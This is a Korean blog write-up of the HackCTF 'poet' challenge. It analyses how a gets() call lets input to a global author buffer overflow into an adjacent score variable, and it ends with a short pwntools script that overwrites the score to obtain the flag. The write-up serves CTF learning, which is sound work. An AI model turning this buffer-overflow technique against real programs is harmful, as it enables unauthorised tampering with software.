[Hack CTF – poet]
Wargmae/HackCTF

[Hack CTF – poet]

728x90

Hack CTF – poet

 

 

Execute

 

파일 실행

파일을 실행시키면 시의 내용을 입력받고 시의 저자를 입력받는다. 그럼 점수와 아까 입력한 시의 내용을 출력해주는데 1,000,000점을 획득하라고 한다. 이부분만 봐서는 별로 할 수 있는게 없는것 같다.

 

 

Analyze

 

mitigation

메모리 보호기법을 확인해보면 NXbit만 걸려있는 것을 확인 할 수 있다.

 

Main

 

main

 

main함수는 크게 별다른 동작을 하지 않고 각각의 함수들을 호출해주고 dword_6024E0의 값이 100000인 경우 break한다. 그리고 reward함수를 실행해준다.

 

 

 

Get_poem

get_poem

해당함수에서는 시의 내용을 입력 받는 부분이다. get함수를 통해 poem 전역변수에 입력을 받는것을 확인 할 수 있다. 또한 dword_6024E00으로 초기화해준다.

 

 

 

 

Get_author

 

get_author

get함수를 통해 &unk_6024A0 전역변수에 입력을 받는다.

 

 

Rate_poem

rate_poem

 

  • Line 6 : strcpy함수를 통해 destpoem의 내용을 복사해준다.
  • Line 7 : for문으로 걸려있다. S10일때까지 반복하며 s1strtok함수를 통해 문자열을 잘라준다.
  • Line 9~18 : s1이 특정 조건에 맞을 경우 dword_6024E0변수의 값을 100 증가 시켜준다.

 

reward

 

Flag를 출력해주는 함수임을 알 수 있다.

 

 

Solve

 

reward함수의 실행조건이 dword_6024E0값이 1,000,000이 되어야한다. 해당 변수는 전역변수로 선언 되어있는데 앞서 확인 한 것 처럼 gets함수들이 다른 전역변수를 입력받는다.

따라서 buffer overflow가 발생하는데 실제 공격이 가능한지 확인하기위해 bss영역을 확인해보자.

bss

 

unk_6024A0에서 dummy를 계속 넣어주어 dword_6024E0을 조작할 수 있음을 확인하였다. 따라서 둘사이의 거리를 계산해보자.

둘 사이의 거리는 0x40(64)임을 확인 할 수 있다. 따라서 64개의 dummy1,000,000을 입력해준다면 문제를 해결 할 수 있을 것이다.

Exploit은 아래와 같다.

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3012)

p.recvuntil("> ")
p.sendline("aaaaaaaaaa")

p.recvuntil("> ")
payload = b"a"*64
payload += p64(1000000)
p.sendline(payload)

p.interactive()

 

성공적으로 flag를 획득할 수 있었다. 

728x90

'Wargmae > HackCTF' 카테고리의 다른 글

[Hack CTF - look at me]  (0) 2021.01.21
[Hack CTF - RTL_core]  (0) 2021.01.16
[Hack CTF - g++pwn]  (1) 2021.01.11
[Hack CTF - RTL_World]  (2) 2021.01.10
[Hack CTF - yes or no]  (0) 2021.01.09